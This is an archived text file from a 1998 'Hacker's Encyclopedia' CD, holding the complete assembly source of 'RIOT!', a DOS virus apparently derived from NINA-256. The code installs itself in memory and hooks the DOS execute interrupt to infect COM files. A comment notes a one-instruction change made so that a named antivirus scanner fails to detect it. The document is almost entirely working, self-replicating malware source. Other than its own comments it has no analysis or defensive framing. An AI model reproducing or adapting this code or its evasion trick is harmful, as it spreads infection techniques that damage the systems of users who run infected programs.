home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / riot.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  6.0 KB  |  173 lines
  1. ;  RIOT! - Revolution In Our Time
  2.  
  3. model tiny
  4. code
  5. org 100h
  6. start:
  7. ;        push    ax            ; Original push "ax",
  8.                 PUSH    DX            ; But push dx instead,
  9.                         ; and S&S FindViru can't
  10.                         ; find it as NINA-256 :)
  11.  
  12.                 mov     ax,9753h                ; installation check
  13.                 int     21h
  14.                 mov     ax,ds
  15.                 dec     ax
  16.                 mov     ds,ax                   ; ds->program MCB
  17.                 mov     ax,ds:[3]               ; get size word
  18.                 push    bx
  19.                 push    es
  20.                 sub     ax,40h                  ; reserve 40h paragraphs
  21.                 mov     bx,ax
  22.                 mov     ah,4Ah                  ; Shrink memory 
  23. allocation
  24.                 int     21h
  25.  
  26.                 mov     ah,48h                  ; Allocate 3Fh 
  27. paragraphs
  28.                 mov     bx,3Fh                  ; for the virus
  29.                 int     21h
  30.  
  31.                 mov     es,ax                   ; copy virus to high
  32.                 xor     di,di                   ; memory
  33.                 mov     si,offset start + 10h   ; start at MCB:110h
  34.                 mov     cx,100h                 ; (same as PSP:100h)
  35.                 rep     movsb
  36.                 sub     ax,10h                  ; adjust offset as if it
  37.                 push    ax                      ; originated at 100h
  38.                 mov     ax,offset highentry
  39.                 push    ax
  40.                 retf
  41.  
  42. highentry:
  43.                 mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so 
  44. the
  45.                                                 ; memory isn't freed 
  46. when the
  47.                                                 ; program terminates
  48.                 mov     ax,3521h                ; get int 21h vector
  49.                 int     21h
  50.  
  51.                 mov     word ptr cs:oldint21,bx ; save it
  52.                 mov     word ptr cs:oldint21+2,es
  53.                 push    es
  54.                 pop     ds
  55.                 mov     dx,bx
  56.                 mov     ax,2591h                ; redirect int 91h to 
  57. int 21h
  58.                 int     21h
  59.  
  60.                 push    cs
  61.                 pop     ds
  62.                 mov     dx,offset int21
  63.                 mov     al,21h                  ; set int 21h to virus 
  64. vector
  65.                 int     21h
  66.  
  67.                 pop     ds                      ; ds->original program 
  68. PSP
  69.                 pop     bx
  70.                 push    ds
  71.                 pop     es
  72.  
  73. ENDFILE         dw      100h            ; Size of infected COM 
  74. file
  75.  
  76. return_COM:
  77.                 mov     di,100h                 ; restore original
  78.                 mov     si,endfile              ; file
  79.                 add     si,di                   ; adjust for COM 
  80. starting
  81.                 mov     cx,100h                 ; offset
  82.                 rep     movsb
  83.                 pop     ax
  84.                 push    ds                      ; jmp back to original
  85.                 mov     bp,100h                 ; file (PSP:100)
  86.                 push    bp
  87.                 retf
  88. exit_install:
  89.                 pop     ax                      ; pop CS:IP and flags in
  90.                 pop     ax                      ; order to balance the
  91.                 pop     ax                      ; stack and then exit 
  92. the
  93.                 jmp     short return_COM        ; infected COM file
  94. int21:
  95.                 cmp     ax,9753h                ; installation check?
  96.                 je      exit_install
  97.                 cmp     ax,4B00h                ; execute?
  98.                 jne     exitint21               ; nope, quit
  99.                 push    ax                      ; save registers
  100.                 push    bx
  101.                 push    cx
  102.                 push    dx
  103.                 push    ds
  104.                 call    infect
  105.                 pop     ds                      ; restore registers
  106.                 pop     dx
  107.                 pop     cx
  108.                 pop     bx
  109.                 pop     ax
  110. exitint21:
  111.                 db      0eah ; jmp far ptr
  112. oldint21        dd      ?
  113.  
  114. infect:
  115.                 mov     ax,3D02h                ; open file read/write
  116.                 int     91h
  117.                 jc      exit_infect
  118.                 mov     bx,ax
  119.                 mov     cx,100h
  120.                 push    cs
  121.                 pop     ds
  122.                 mov     ah,3Fh                  ; Read first 100h bytes
  123.                 mov     dx,offset endvirus
  124.                 int     91h
  125.                 mov     ax,word ptr endvirus
  126.                 cmp     ax,'MZ'                 ; exit if EXE
  127.                 je      close_exit_infect
  128.                 cmp     ax,'ZM'                 ; exit if EXE
  129.                 je      close_exit_infect
  130.                 cmp     word ptr endvirus+2,9753h ; exit if already
  131.                 je      close_exit_infect       ; infected
  132.                 mov     al,2                    ; go to end of file
  133.                 call    move_file_pointer
  134.                 cmp     ax,0FEB0h               ; exit if too large
  135.                 ja      close_exit_infect
  136.                 cmp     ax,1F4h                 ; or too small for
  137.                 jb      close_exit_infect       ; infection
  138.                 mov     endfile,ax              ; save file size
  139.                 call    write
  140.                 mov     al,0                    ; go to start of file
  141.                 call    move_file_pointer
  142.                 mov     dx,100h                 ; write virus
  143.                 call    write
  144. close_exit_infect:
  145.                 mov     ah,3Eh                  ; Close file
  146.                 int     91h
  147. exit_infect:
  148.                 retn
  149.  
  150. move_file_pointer:
  151.                 push    dx
  152.                 xor     cx,cx
  153.                 xor     dx,dx
  154.                 mov     ah,42h
  155.                 int     91h
  156.                 pop     dx
  157.                 retn
  158.  
  159. write:
  160.                 mov     ah,40h     
  161.                 mov     cx,100h
  162.                 int     91h
  163.                 retn
  164.  
  165.                 db    ' RIOT!' ; Revolution In Our Time!
  166. endvirus:                                                   
  167.                 int     20h      ; original COM file
  168.         end     start
  169.  
  170.  
  171.  
  172.  
  173.